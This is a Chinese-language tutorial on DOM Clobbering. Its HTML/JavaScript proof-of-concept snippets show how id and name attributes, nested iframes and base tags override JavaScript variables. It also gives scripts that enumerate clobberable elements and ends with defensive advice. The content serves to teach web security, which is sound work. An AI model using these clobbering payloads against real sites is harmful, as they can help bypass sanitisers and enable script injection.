DOM Clobbering重见天日
字数 815 2025-08-22 12:23:36
DOM Clobbering技术详解
1. 什么是DOM Clobbering
DOM Clobbering是一种利用HTML元素及其属性来覆盖或"破坏"(clobber)JavaScript全局变量或对象属性的技术。这种攻击方式在XSS和CSRF等经典客户端漏洞被修复后变得越来越重要。
2. 基本原理
DOM Clobbering的核心原理是:浏览器会自动将具有id或name属性的HTML元素作为全局变量或DOM对象的属性暴露出来。
基本示例
<form id="x"><output id="y">I've been clobbered</output>
<script>
alert(x.y.value); // 输出"I've been clobbered"
</script>
3. 元素关系确定
通过以下代码可以确定哪些HTML元素可以组合在一起形成DOM Clobbering:
var log=[];
var html = ["a","abbr","acronym",...,"xmp"]; // 所有HTML元素
var div=document.createElement('div');
for(var i=0;i<html.length;i++) {
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
测试结果显示以下元素组合有效:
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea
4. 使用DOM集合
可以利用id和name属性创建DOM集合(类似数组的对象):
<a id="x"><a id="x" name="y" href="Clobbered">
<script>
alert(x.y) // 输出"Clobbered"
</script>
5. 三层破坏技术
通过表单可以实现三层破坏:
<form id="x" name="y"><input id="z"></form>
<form id="x"></form>
<script>
alert(x.y.z) // 输出input元素
</script>
6. 表单控件集合
Chrome会将表单控件集合转换为类似数组的对象([object RadioNodeList]),可以使用数组方法:
<form id="x">
<input id="y" name="z">
<input id="y">
</form>
<script>
x.y.forEach(element=>alert(element)) // 遍历所有input元素
</script>
7. 属性控制
只有HTML规范定义的属性才会成为DOM属性。可以通过以下代码查找可控属性:
var html = [...]; // HTML元素数组
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
8. 锚元素的特殊属性
锚元素的username和password属性可以通过FTP URL控制:
<a id="x" href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username) // 输出"Clobbered-username"
alert(x.password) // 输出"Clobbered-password"
</script>
9. 绕过URL编码
使用非标准协议可以避免URL编码:
<a id="x" href="abc:<>">
<script>
alert(x) // 输出"abc:<>"
</script>
Firefox中可以使用base标签:
<base href="a:abc"><a id="x" href="Firefox<>">
<script>
alert(x) // 输出"Firefox<>"
</script>
Chrome中也可以通过base标签实现:
<base href="a://Clobbered<>"><a id="x" name="x"><a id="x" name="xyz" href="123">
<script>
alert(x.xyz) // 输出"a://Clobbered<>"
</script>
10. 多层破坏技术
使用iframe和srcdoc可以实现多层破坏:
<iframe name="a" srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>
或者使用样式表加载延迟:
<iframe name="a" srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
<script>
alert(a.b.c.d) // 输出"cid:Clobbered"
</script>
防御措施
- 使用
CSP限制内联脚本 - 避免直接使用全局变量访问DOM元素
- 使用
document.getElementById()等安全方法替代直接属性访问 - 对用户输入进行严格的过滤和转义
DOM Clobbering是一种强大的客户端攻击技术,理解其原理和实现方式对于Web安全至关重要。